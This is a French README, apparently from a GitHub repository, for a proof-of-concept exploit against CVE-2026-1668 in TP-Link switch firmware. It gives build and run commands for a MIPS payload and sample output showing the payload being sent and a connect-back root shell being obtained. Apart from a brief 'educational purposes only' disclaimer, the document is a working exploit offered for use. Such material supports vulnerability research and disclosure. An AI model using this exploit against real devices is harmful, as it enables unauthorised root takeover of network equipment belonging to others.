wuyou6956-glitch/cve-2026-1668-pocPreuve de concept d'exploit pour CVE-2026-1668 dans le firmware des switchs TP-Link, délivrant une charge utile MIPS qui permet d'obtenir un shell root sur les appareils vulnérables.
Ceci est un exploit de preuve de concept pour CVE-2026-1668. Il est destiné uniquement à des fins éducatives. Veuillez ne pas tenter d'exploiter des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite d'exploiter.
Cette preuve de concept a été développée contre une image de firmware ayant le hash SHA256 suivant : 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.
Noms des firmwares connus pour correspondre à ce hash (liste non exhaustive) :
Les versions de firmware antérieures sont probablement également vulnérables, mais peuvent nécessiter des modifications mineures de la charge utile de l'exploit.
L'explication du fonctionnement de la charge utile se trouve dans cet article de blog.
Une chaîne d'outils GCC MIPS Linux est requise pour compiler la charge utile. Sur Ubuntu 24.04, on peut l'installer avec sudo apt install gcc-mips-linux-gnu.
$ make
Cet exploit doit être exécuté avant que le serveur HTTP n'ait servi sa première requête (c'est-à-dire lors d'un démarrage à froid).
$ ./run.sh
Le script devrait vous donner un shell root. Sinon, l'exploit a échoué.
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json
{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #